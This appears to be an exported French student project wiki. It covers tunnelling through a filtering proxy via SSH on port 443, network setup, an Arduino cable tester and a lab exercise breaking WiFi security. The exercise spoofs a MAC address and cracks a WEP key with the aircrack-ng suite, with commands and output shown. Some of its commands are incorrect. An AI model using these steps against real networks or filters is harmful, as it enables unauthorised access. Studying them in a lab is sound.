Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisation la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons tester la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothéses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé serait mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24246</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24246"/>
				<updated>2015-12-10T09:36:49Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Installation de la machine virtuelle */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basé sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
